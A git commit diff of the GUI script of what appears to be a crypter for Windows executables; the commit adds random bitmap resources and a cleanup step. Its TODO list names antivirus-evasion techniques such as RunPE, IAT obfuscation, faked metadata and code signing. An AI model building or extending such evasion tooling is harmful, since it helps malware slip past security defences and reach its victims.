add: PE random resources

This commit is contained in:
2023-09-05 14:14:05 +02:00
parent 3ea146b42c
commit 790d030a6c
4 changed files with 53 additions and 10 deletions

18
gui.py
View File

@@ -12,10 +12,8 @@ TODO :
- LoadPE (KEKW)
- Good entropy
- Good Section sizes
- Add resources
- Random Windows API calls (help)
- Code signing
Done :
- RunPE
- Junk code
@@ -23,6 +21,8 @@ Done :
- IAT obfuscation (adding "normal" imports in addition to the others)
- Change PE metadata (company, description, etc...)
- File icon
- Code signing
- Add resources (random number of random generated bitmaps)
"""
from PyQt5 import QtCore, QtGui, QtWidgets
@@ -31,7 +31,7 @@ from PyQt5.QtCore import QCoreApplication
from PyQt5.QtGui import QPixmap
from obfuscation import obfuscate
from metadata import change_metadata
import os, shutil
import os, shutil, glob
class Ui_mainWindow(object):
def __init__(self) :
@@ -203,6 +203,16 @@ class Ui_mainWindow(object):
os.remove("main.cpp")
os.rename("DO_NOT_TOUCH.cpp", "main.cpp")
# Find all BMP files in the directory with a wildcard pattern
bmp_files = glob.glob(os.path.join(".", "*.bmp"))
# Delete each BMP file
for bmp_file in bmp_files:
try:
os.remove(bmp_file)
except :
pass
if not return_code :
self.label_2.setText(f"--> {out_filename}")
QCoreApplication.processEvents()